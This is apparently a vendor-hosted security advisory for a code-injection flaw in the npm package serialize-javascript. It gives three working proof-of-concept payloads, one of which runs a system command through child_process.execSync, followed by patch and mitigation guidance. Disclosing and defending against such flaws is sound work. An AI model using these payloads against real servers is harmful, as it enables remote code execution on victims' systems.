GHSA-5c6j-r48x-rmvq is a high-severity (CVSS 8.1) remote code execution vulnerability in serialize-javascript. A fix is available for serialize-javascript — see the affected versions and patch details below.
Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
serialize-javascriptnpmDescription
Impact
The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.
While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().
If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
Patches
The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | serialize-javascript | all versions | 7.0.3npm install serialize-javascript@7.0.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for serialize-javascript, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update serialize-javascript to 7.0.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5c6j-r48x-rmvq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-5c6j-r48x-rmvq can be triaged on real exposure rather than presence alone.
Tailored to GHSA-5c6j-r48x-rmvq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5c6j-r48x-rmvq in your dependencies?
O3 Security finds GHSA-5c6j-r48x-rmvq across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.